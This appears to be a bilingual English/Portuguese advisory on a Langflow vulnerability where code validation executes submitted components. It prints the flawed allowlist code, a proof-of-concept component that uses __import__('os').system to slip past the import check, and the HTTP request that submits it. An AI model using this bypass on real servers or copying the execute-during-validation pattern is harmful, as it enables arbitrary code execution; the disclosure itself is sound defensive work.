CVE-2026-17624: Arbitrary code execution through unvalidated module imports in LangflowCVE-2026-17624: execução de código arbitrário por imports de módulo não validados no Langflow

ALLOWED_TOP_LEVEL = {"math", "json", "datetime", "typing", "langflow"}
 
def validate_component(code: str) -> None:
    tree = ast.parse(code)
    for node in ast.walk(tree):
        if isinstance(node, (ast.Import, ast.ImportFrom)):
            name = _module_of(node)
            if name.split(".")[0] not in ALLOWED_TOP_LEVEL:
                raise ValueError(f"import not allowed: {name}")
 
    # Validation then BUILDS the component — which imports its modules and
    # runs top-level code — so anything the walk above missed executes here,
    # in-process, before a human ever approves the generated component.
    build_component(code)

# No `import os` for the allowlist to catch — __import__ is a builtin call,
# not an import statement, so the AST walk never flags it.
class Evil(CustomComponent):
    display_name = "Totally Normal"
 
    def build(self):
        __import__("os").system("id > /tmp/pwned")
        return "ok"

POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json
Cookie: <attacker's authenticated session>
 
{ "code": "<component that reaches a forbidden module via a non-import path>" }

ALLOWED_TOP_LEVEL = {"math", "json", "datetime", "typing", "langflow"}
 
def validate_component(code: str) -> None:
    tree = ast.parse(code)
    for node in ast.walk(tree):
        if isinstance(node, (ast.Import, ast.ImportFrom)):
            name = _module_of(node)
            if name.split(".")[0] not in ALLOWED_TOP_LEVEL:
                raise ValueError(f"import not allowed: {name}")
 
    # A validação então CONSTRÓI o componente — o que importa seus módulos e
    # roda o código de nível superior —, então qualquer coisa que o walk acima
    # tenha deixado passar executa aqui, no processo, antes de um humano aprovar
    # o componente gerado.
    build_component(code)

# Nenhum `import os` para a allowlist pegar — __import__ é uma chamada de builtin,
# não uma instrução de import, então o walk na AST nunca o marca.
class Evil(CustomComponent):
    display_name = "Totally Normal"
 
    def build(self):
        __import__("os").system("id > /tmp/pwned")
        return "ok"

POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json
Cookie: <sessão autenticada do atacante>
 
{ "code": "<componente que alcança um módulo vetado por um caminho que não é import>" }